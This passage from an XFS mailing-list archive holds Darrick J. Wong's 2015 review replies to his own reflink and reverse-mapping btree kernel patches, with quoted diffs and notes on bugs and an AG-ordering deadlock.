+ agbno = XFS_FSB_TO_AGBNO(mp, mp->m_sb.sb_logstart); > + error = add_ag_rmap(mp, agno, agbno, mp->m_sb.sb_logblocks, > + XFS_RMAP_OWN_LOG); > + if (error) > + goto out; > + } > +out: > + return error; > +} > + > #ifdef RMAP_DEBUG > static void > dump_rmap( > diff --git a/repair/rmap.h b/repair/rmap.h > index 57d56a0..7bab450 100644 > --- a/repair/rmap.h > +++ b/repair/rmap.h > @@ -31,4 +31,6 @@ extern int add_ag_rmap(struct xfs_mount *, xfs_agnumber_t agno, > extern int add_bmbt_rmap(struct xfs_mount *, xfs_ino_t, int, xfs_fsblock_t); > extern int fold_raw_rmaps(struct xfs_mount *mp, xfs_agnumber_t agno); > > +extern int add_fixed_ag_rmap_data(struct xfs_mount *, xfs_agnumber_t); > + > #endif /* RMAP_H_ */ > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From darrick.wong@oracle.com Wed Oct 21 16:17:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B0A6629DF5 for ; Wed, 21 Oct 2015 16:17:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8DFF78F804C for ; Wed, 21 Oct 2015 14:17:37 -0700 (PDT) X-ASG-Debug-ID: 1445462254-04cb6c3cec136580001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id K1oUSDWApDhErfrf (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 21 Oct 2015 14:17:35 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9LLHTSa026205 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Oct 2015 21:17:29 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9LLHTqd023961 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 21 Oct 2015 21:17:29 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9LLHSxx012890; Wed, 21 Oct 2015 21:17:29 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 21 Oct 2015 14:17:28 -0700 Date: Wed, 21 Oct 2015 14:17:27 -0700 From: "Darrick J. Wong" To: david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 48/58] xfs: copy-on-write reflinked blocks when zeroing ranges of blocks Message-ID: <20151021211727.GM10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 48/58] xfs: copy-on-write reflinked blocks when zeroing ranges of blocks References: <20151007045443.30457.47038.stgit@birch.djwong.org> <20151007050025.30457.19562.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007050025.30457.19562.stgit@birch.djwong.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1445462255 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23697 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 06, 2015 at 10:00:25PM -0700, Darrick J. Wong wrote: > When we're writing zeroes to a reflinked block (such as when we're > punching a reflinked range), we need to fork the the block and write > to that, otherwise we can corrupt the other reflinks. Something that's missing from this patch series: when we shorten a file, the VFS will zero the page contents between the new and old EOF. Therefore, we must ensure that the block is forked prior to this happening, or else we end up changing the shared block, corrupting the other files. --D > > Signed-off-by: Darrick J. Wong > --- > fs/xfs/xfs_bmap_util.c | 25 +++++++- > fs/xfs/xfs_reflink.c | 154 ++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_reflink.h | 6 ++ > 3 files changed, 183 insertions(+), 2 deletions(-) > > > diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c > index 245a34a..b054b28 100644 > --- a/fs/xfs/xfs_bmap_util.c > +++ b/fs/xfs/xfs_bmap_util.c > @@ -41,6 +41,7 @@ > #include "xfs_icache.h" > #include "xfs_log.h" > #include "xfs_rmap_btree.h" > +#include "xfs_reflink.h" > > /* Kernel only BMAP related definitions and functions */ > > @@ -1095,7 +1096,9 @@ xfs_zero_remaining_bytes( > xfs_buf_t *bp; > xfs_mount_t *mp = ip->i_mount; > int nimap; > - int error = 0; > + int error = 0, err2; > + bool should_fork; > + struct xfs_trans *tp; > > /* > * Avoid doing I/O beyond eof - it's not necessary > @@ -1136,8 +1139,14 @@ xfs_zero_remaining_bytes( > if (lastoffset > endoff) > lastoffset = endoff; > > + /* Do we need to CoW this block? */ > + error = xfs_reflink_should_fork_block(ip, &imap, offset, > + &should_fork); > + if (error) > + return error; > + > /* DAX can just zero the backing device directly */ > - if (IS_DAX(VFS_I(ip))) { > + if (IS_DAX(VFS_I(ip)) && !should_fork) { > error = dax_zero_page_range(VFS_I(ip), offset, > lastoffset - offset + 1, > xfs_get_blocks_direct); > @@ -1158,10 +1167,22 @@ xfs_zero_remaining_bytes( > (offset - XFS_FSB_TO_B(mp, imap.br_startoff)), > 0, lastoffset - offset + 1); > > + tp = NULL; > + if (should_fork) { > + error = xfs_reflink_fork_buf(ip, bp, offset_fsb, &tp); > + if (error) > + return error; > + } > + > error = xfs_bwrite(bp); > + > + err2 = xfs_reflink_finish_fork_buf(ip, bp, offset_fsb, tp, > + error, imap.br_startblock); > xfs_buf_relse(bp); > if (error) > return error; > + if (err2) > + return err2; > } > return error; > } > diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c > index 226e23f..f5eed2f 100644 > --- a/fs/xfs/xfs_reflink.c > +++ b/fs/xfs/xfs_reflink.c > @@ -788,3 +788,157 @@ xfs_reflink_add_ioend( > { > list_add_tail(&eio->rlei_list, &ioend->io_reflink_endio_list); > } > + > +/** > + * xfs_reflink_fork_buf() - start a transaction to fork a buffer (if needed) > + * > + * @mp: XFS mount point > + * @ip: XFS inode > + * @bp: the buffer that we might need to fork > + * @fileoff: file offset of the buffer > + * @ptp: pointer to an XFS transaction > + */ > +int > +xfs_reflink_fork_buf( > + struct xfs_inode *ip, > + struct xfs_buf *bp, > + xfs_fileoff_t fileoff, > + struct xfs_trans **ptp) > +{ > + struct xfs_mount *mp = ip->i_mount; > + struct xfs_trans *tp; > + xfs_fsblock_t fsbno; > + xfs_fsblock_t new_fsbno; > + xfs_agnumber_t agno; > + xfs_agblock_t agbno; > + uint resblks; > + int error; > + > + fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); > + agno = XFS_FSB_TO_AGNO(mp, fsbno); > + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); > + CHECK_AG_NUMBER(mp, agno); > + CHECK_AG_EXTENT(mp, agno, 1); > + > + /* > + * Get ready to remap the thing... > + */ > + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 3); > + tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); > + > + /* > + * check for running out of space > + */ > + if (error) { > + /* > + * Free the transaction structure. > + */ > + ASSERT(error == -ENOSPC || XFS_FORCED_SHUTDOWN(mp)); > + goto out_cancel; > + } > + error = xfs_trans_reserve_quota(tp, mp, > + ip->i_udquot, ip->i_gdquot, ip->i_pdquot, > + resblks, 0, XFS_QMOPT_RES_REGBLKS); > + if (error) > + goto out_cancel; > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); > + > + /* fork block, remap buffer */ > + error = fork_one_block(mp, tp, ip, fsbno, &new_fsbno, fileoff); > + if (error) > + goto out_cancel; > + > + trace_xfs_reflink_fork_buf(ip, fileoff, fsbno, 1, new_fsbno); > + > + XFS_BUF_SET_ADDR(bp, XFS_FSB_TO_DADDR(mp, new_fsbno)); > + *ptp = tp; > + return error; > + > +out_cancel: > + xfs_trans_cancel(tp); > + trace_xfs_reflink_fork_buf_error(ip, error, _RET_IP_); > + return error; > +} > + > +/** > + * xfs_reflink_finish_fork_buf() - finish forking a file buffer > + * > + * @ip: XFS inode > + * @bp: the buffer that was forked > + * @fileoff: file offset of the buffer > + * @tp: transaction that was returned from xfs_reflink_fork_buf() > + * @write_error: status code from writing the block > + */ > +int > +xfs_reflink_finish_fork_buf( > + struct xfs_inode *ip, > + struct xfs_buf *bp, > + xfs_fileoff_t fileoff, > + struct xfs_trans *tp, > + int write_error, > + xfs_fsblock_t old_fsbno) > +{ > + struct xfs_mount *mp = ip->i_mount; > + struct xfs_bmap_free free_list; > + xfs_fsblock_t firstfsb; > + xfs_fsblock_t fsbno; > + struct xfs_bmbt_irec imaps[1]; > + xfs_agnumber_t agno; > + int nimaps = 1; > + int done; > + int error = write_error; > + int committed; > + struct xfs_owner_info oinfo; > + > + if (tp == NULL) > + return 0; > + > + fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); > + agno = XFS_FSB_TO_AGNO(mp, fsbno); > + XFS_RMAP_INO_OWNER(&oinfo, ip->i_ino, XFS_DATA_FORK, fileoff); > + if (write_error != 0) > + goto out_write_error; > + > + trace_xfs_reflink_fork_buf(ip, fileoff, old_fsbno, 1, fsbno); > + /* > + * Remap the old blocks. > + */ > + xfs_bmap_init(&free_list, &firstfsb); > + error = xfs_bunmapi(tp, ip, fileoff, 1, 0, 1, &firstfsb, &free_list, > + &done); > + if (error) > + goto out_free; > + ASSERT(done == 1); > + > + error = xfs_bmapi_write(tp, ip, fileoff, 1, XFS_BMAPI_REMAP, &fsbno, > + 1, &imaps[0], &nimaps, &free_list); > + if (error) > + goto out_free; > + > + /* > + * complete the transaction > + */ > + error = xfs_bmap_finish(&tp, &free_list, &committed); > + if (error) > + goto out_cancel; > + > + error = xfs_trans_commit(tp); > + if (error) > + goto out_error; > + > + return error; > +out_free: > + xfs_bmap_finish(&tp, &free_list, &committed); > +out_write_error: > + done = xfs_free_extent(tp, fsbno, 1, &oinfo); > + if (error == 0) > + error = done; > +out_cancel: > + xfs_trans_cancel(tp); > +out_error: > + trace_xfs_reflink_finish_fork_buf_error(ip, error, _RET_IP_); > + return error; > +} > diff --git a/fs/xfs/xfs_reflink.h b/fs/xfs/xfs_reflink.h > index b3e12d2..ce00cf6 100644 > --- a/fs/xfs/xfs_reflink.h > +++ b/fs/xfs/xfs_reflink.h > @@ -38,4 +38,10 @@ extern void xfs_reflink_add_ioend(struct xfs_ioend *ioend, > extern int xfs_reflink_should_fork_block(struct xfs_inode *ip, > struct xfs_bmbt_irec *imap, xfs_off_t offset, bool *type); > > +extern int xfs_reflink_fork_buf(struct xfs_inode *ip, struct xfs_buf *bp, > + xfs_fileoff_t fileoff, struct xfs_trans **ptp); > +extern int xfs_reflink_finish_fork_buf(struct xfs_inode *ip, struct xfs_buf *bp, > + xfs_fileoff_t fileoff, struct xfs_trans *tp, int write_error, > + xfs_fsblock_t old_fsbno); > + > #endif /* __XFS_REFLINK_H */ > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From darrick.wong@oracle.com Wed Oct 21 16:40:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B13F129DF5 for ; Wed, 21 Oct 2015 16:40:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9F2A9304066 for ; Wed, 21 Oct 2015 14:40:08 -0700 (PDT) X-ASG-Debug-ID: 1445463601-04cb6c3cee137570001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id P5neMQGwD4wELoPE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 21 Oct 2015 14:40:01 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9LLdtJr019009 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Oct 2015 21:39:55 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9LLdt7p017731 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 21 Oct 2015 21:39:55 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9LLdsfb017642; Wed, 21 Oct 2015 21:39:55 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 21 Oct 2015 14:39:54 -0700 Date: Wed, 21 Oct 2015 14:39:53 -0700 From: "Darrick J. Wong" To: david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 25/58] xfs: bmap btree changes should update rmap btree Message-ID: <20151021213953.GN10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 25/58] xfs: bmap btree changes should update rmap btree References: <20151007045443.30457.47038.stgit@birch.djwong.org> <20151007045752.30457.78721.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007045752.30457.78721.stgit@birch.djwong.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1445463601 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23697 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 06, 2015 at 09:57:52PM -0700, Darrick J. Wong wrote: > Any update to a file's bmap should make the corresponding change to > the rmapbt. On a reflink filesystem, this is absolutely required > because a given (file data) physical block can have multiple owners > and the only sane way to find an rmap given a bmap is if there is a > 1:1 correspondence. > > (At some point we can optimize this for non-reflink filesystems > because regular merge still works there.) Still working on this; xfs_repair will have to be taught to merge the extent rmaps for non-reflink filesystems, and the functions that are called by the functions in xfs_bmap.c will of course need to be shut off on !reflink. > > Signed-off-by: Darrick J. Wong > --- > fs/xfs/libxfs/xfs_bmap.c | 262 ++++++++++++++++++++++++++++++++++- > fs/xfs/libxfs/xfs_bmap.h | 1 > fs/xfs/libxfs/xfs_rmap.c | 296 ++++++++++++++++++++++++++++++++++++++++ > fs/xfs/libxfs/xfs_rmap_btree.h | 20 +++ > 4 files changed, 568 insertions(+), 11 deletions(-) > > > diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c > index e740ef5..81f0ae0 100644 > --- a/fs/xfs/libxfs/xfs_bmap.c > +++ b/fs/xfs/libxfs/xfs_bmap.c > @@ -45,6 +45,7 @@ > #include "xfs_symlink.h" > #include "xfs_attr_leaf.h" > #include "xfs_filestream.h" > +#include "xfs_rmap_btree.h" > > > kmem_zone_t *xfs_bmap_free_item_zone; > @@ -1861,6 +1862,10 @@ xfs_bmap_add_extent_delay_real( > if (error) > goto done; > } > + error = xfs_rmap_combine(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, &LEFT, &RIGHT, &PREV); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_LEFT_CONTIG: > @@ -1893,6 +1898,10 @@ xfs_bmap_add_extent_delay_real( > if (error) > goto done; > } > + error = xfs_rmap_lcombine(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, &LEFT, &PREV); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: > @@ -1924,6 +1933,10 @@ xfs_bmap_add_extent_delay_real( > if (error) > goto done; > } > + error = xfs_rmap_rcombine(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, &RIGHT, &PREV, new); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING: > @@ -1953,6 +1966,10 @@ xfs_bmap_add_extent_delay_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, new); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_LEFT_CONTIG: > @@ -1988,6 +2005,10 @@ xfs_bmap_add_extent_delay_real( > if (error) > goto done; > } > + error = xfs_rmap_lcombine(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, &LEFT, new); > + if (error) > + goto done; > da_new = XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(bma->ip, temp), > startblockval(PREV.br_startblock)); > xfs_bmbt_set_startblock(ep, nullstartblock(da_new)); > @@ -2023,6 +2044,10 @@ xfs_bmap_add_extent_delay_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, new); > + if (error) > + goto done; > > if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { > error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, > @@ -2071,6 +2096,8 @@ xfs_bmap_add_extent_delay_real( > if (error) > goto done; > } > + error = xfs_rmap_rcombine(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, &RIGHT, new, new); > > da_new = XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(bma->ip, temp), > startblockval(PREV.br_startblock)); > @@ -2107,6 +2134,10 @@ xfs_bmap_add_extent_delay_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, new); > + if (error) > + goto done; > > if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { > error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, > @@ -2176,6 +2207,10 @@ xfs_bmap_add_extent_delay_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, > + XFS_DATA_FORK, new); > + if (error) > + goto done; > > if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { > error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, > @@ -2271,7 +2306,8 @@ xfs_bmap_add_extent_unwritten_real( > xfs_bmbt_irec_t *new, /* new data to add to file extents */ > xfs_fsblock_t *first, /* pointer to firstblock variable */ > xfs_bmap_free_t *flist, /* list of extents to be freed */ > - int *logflagsp) /* inode logging flags */ > + int *logflagsp, /* inode logging flags */ > + struct xfs_btree_cur *rcur)/* rmap btree pointer */ > { > xfs_btree_cur_t *cur; /* btree cursor */ > xfs_bmbt_rec_host_t *ep; /* extent entry for idx */ > @@ -2417,6 +2453,10 @@ xfs_bmap_add_extent_unwritten_real( > RIGHT.br_blockcount, LEFT.br_state))) > goto done; > } > + error = xfs_rmap_combine(rcur, ip->i_ino, > + XFS_DATA_FORK, &LEFT, &RIGHT, &PREV); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_LEFT_CONTIG: > @@ -2454,6 +2494,10 @@ xfs_bmap_add_extent_unwritten_real( > LEFT.br_state))) > goto done; > } > + error = xfs_rmap_lcombine(rcur, ip->i_ino, > + XFS_DATA_FORK, &LEFT, &PREV); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: > @@ -2489,6 +2533,10 @@ xfs_bmap_add_extent_unwritten_real( > newext))) > goto done; > } > + error = xfs_rmap_rcombine(rcur, ip->i_ino, > + XFS_DATA_FORK, &RIGHT, &PREV, new); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING: Missing a xfs_rmap operation to update the rmap here. > @@ -2562,6 +2610,14 @@ xfs_bmap_add_extent_unwritten_real( > if (error) > goto done; > } > + error = xfs_rmap_move(rcur, ip->i_ino, > + XFS_DATA_FORK, &PREV, new->br_blockcount); > + if (error) > + goto done; > + error = xfs_rmap_resize(rcur, ip->i_ino, > + XFS_DATA_FORK, &LEFT, -new->br_blockcount); The move operation moves the start of PREV rightward, so the arg to resize should be positive to make LEFT bigger. > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING: > @@ -2600,6 +2656,14 @@ xfs_bmap_add_extent_unwritten_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_move(rcur, ip->i_ino, > + XFS_DATA_FORK, &PREV, new->br_blockcount); > + if (error) > + goto done; > + error = xfs_rmap_insert(rcur, ip->i_ino, > + XFS_DATA_FORK, new); > + if (error) > + goto done; > break; > > case BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: > @@ -2642,6 +2706,14 @@ xfs_bmap_add_extent_unwritten_real( > newext))) > goto done; > } > + error = xfs_rmap_resize(rcur, ip->i_ino, > + XFS_DATA_FORK, &PREV, -new->br_blockcount); > + if (error) > + goto done; > + error = xfs_rmap_move(rcur, ip->i_ino, > + XFS_DATA_FORK, &RIGHT, -new->br_blockcount); > + if (error) > + goto done; > break; > > case BMAP_RIGHT_FILLING: > @@ -2682,6 +2754,14 @@ xfs_bmap_add_extent_unwritten_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_resize(rcur, ip->i_ino, > + XFS_DATA_FORK, &PREV, -new->br_blockcount); > + if (error) > + goto done; > + error = xfs_rmap_insert(rcur, ip->i_ino, > + XFS_DATA_FORK, new); > + if (error) > + goto done; > break; > > case 0: > @@ -2743,6 +2823,17 @@ xfs_bmap_add_extent_unwritten_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_resize(rcur, ip->i_ino, XFS_DATA_FORK, &PREV, > + new->br_startoff - PREV.br_startoff - > + PREV.br_blockcount); > + if (error) > + goto done; > + error = xfs_rmap_insert(rcur, ip->i_ino, XFS_DATA_FORK, new); > + if (error) > + goto done; > + error = xfs_rmap_insert(rcur, ip->i_ino, XFS_DATA_FORK, &r[1]); > + if (error) > + goto done; > break; > > case BMAP_LEFT_FILLING | BMAP_LEFT_CONTIG | BMAP_RIGHT_CONTIG: > @@ -2946,6 +3037,7 @@ xfs_bmap_add_extent_hole_real( > int rval=0; /* return value (logging flags) */ > int state; /* state bits, accessed thru macros */ > struct xfs_mount *mp; > + struct xfs_bmbt_irec prev; /* fake previous extent entry */ > > mp = bma->tp ? bma->tp->t_mountp : NULL; > ifp = XFS_IFORK_PTR(bma->ip, whichfork); > @@ -3053,6 +3145,12 @@ xfs_bmap_add_extent_hole_real( > if (error) > goto done; > } > + prev = *new; > + prev.br_startblock = nullstartblock(0); > + error = xfs_rmap_combine(bma->rcur, bma->ip->i_ino, > + whichfork, &left, &right, &prev); > + if (error) > + goto done; > break; > > case BMAP_LEFT_CONTIG: > @@ -3085,6 +3183,10 @@ xfs_bmap_add_extent_hole_real( > if (error) > goto done; > } > + error = xfs_rmap_resize(bma->rcur, bma->ip->i_ino, > + whichfork, &left, new->br_blockcount); > + if (error) > + goto done; > break; > > case BMAP_RIGHT_CONTIG: > @@ -3119,6 +3221,10 @@ xfs_bmap_add_extent_hole_real( > if (error) > goto done; > } > + error = xfs_rmap_move(bma->rcur, bma->ip->i_ino, > + whichfork, &right, -new->br_blockcount); > + if (error) > + goto done; > break; > > case 0: > @@ -3147,6 +3253,10 @@ xfs_bmap_add_extent_hole_real( > goto done; > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); > } > + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, > + whichfork, new); > + if (error) > + goto done; > break; > } > > @@ -4276,6 +4386,59 @@ xfs_bmapi_delay( > return 0; > } > > +static int > +alloc_rcur( > + struct xfs_mount *mp, > + struct xfs_trans *tp, > + struct xfs_btree_cur **pcur, > + xfs_fsblock_t fsblock) > +{ > + struct xfs_btree_cur *cur = *pcur; > + struct xfs_buf *agbp; > + int error; > + xfs_agnumber_t agno; > + > + agno = XFS_FSB_TO_AGNO(mp, fsblock); > + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) > + return 0; > + if (cur && cur->bc_private.a.agno == agno) > + return 0; > + if (isnullstartblock(fsblock)) > + return 0; > + > + error = xfs_alloc_read_agf(mp, tp, agno, 0, &agbp); > + if (error) > + return error; > + > + cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); > + if (!cur) { > + xfs_trans_brelse(tp, agbp); > + return -ENOMEM; > + } > + > + *pcur = cur; > + return 0; > +} > + > +static void > +free_rcur( > + struct xfs_btree_cur **pcur, > + int bt_error) > +{ > + struct xfs_btree_cur *cur = *pcur; > + struct xfs_buf *agbp; > + struct xfs_trans *tp; > + > + if (cur == NULL) > + return; > + > + agbp = cur->bc_private.a.agbp; > + tp = cur->bc_tp; > + xfs_btree_del_cursor(cur, bt_error); > + xfs_trans_brelse(tp, agbp); > + > + *pcur = NULL; > +} So this whole strategy of updating rmaps right after updating the bmbt has an unfortunate flaw -- we iterate file extents in logical offset order, which means that we have no guarantee that the extents we process will be in order of increasing AG. This violates the deadlock prevention rule that says we must only lock thing in increasing AG order, and indeed I've seen some deadlocks with generic/013. A solution to this is to pursue a strategy similar to the xfs_bmap_free list handling -- collect rmap update intents in a list that's kept sorted in first AG and then chronological order, then when we're done making bmbt updates we can use xfs_trans_roll to make all the rmapbt updates in AG order as part of a separate transaction. I don't know if that's a good strategy since it means that bmbt and rmapbt updates commit in different transactions, but it at least gets rid of some deadlock opportunities. A side benefit is that we can hang the rmap intents off the xfs_bmap_free structure which should reduce the amount of code changes. > > static int > xfs_bmapi_allocate( > @@ -4368,6 +4531,10 @@ xfs_bmapi_allocate( > xfs_sb_version_hasextflgbit(&mp->m_sb)) > bma->got.br_state = XFS_EXT_UNWRITTEN; > > + error = alloc_rcur(mp, bma->tp, &bma->rcur, bma->got.br_startblock); > + if (error) > + return error; > + > if (bma->wasdel) > error = xfs_bmap_add_extent_delay_real(bma); > else > @@ -4429,9 +4596,14 @@ xfs_bmapi_convert_unwritten( > mval->br_state = (mval->br_state == XFS_EXT_UNWRITTEN) > ? XFS_EXT_NORM : XFS_EXT_UNWRITTEN; > > + error = alloc_rcur(bma->ip->i_mount, bma->tp, &bma->rcur, > + mval->br_startblock); > + if (error) > + return error; > + > error = xfs_bmap_add_extent_unwritten_real(bma->tp, bma->ip, &bma->idx, > &bma->cur, mval, bma->firstblock, bma->flist, > - &tmp_logflags); > + &tmp_logflags, bma->rcur); > /* > * Log the inode core unconditionally in the unwritten extent conversion > * path because the conversion might not have done so (e.g., if the > @@ 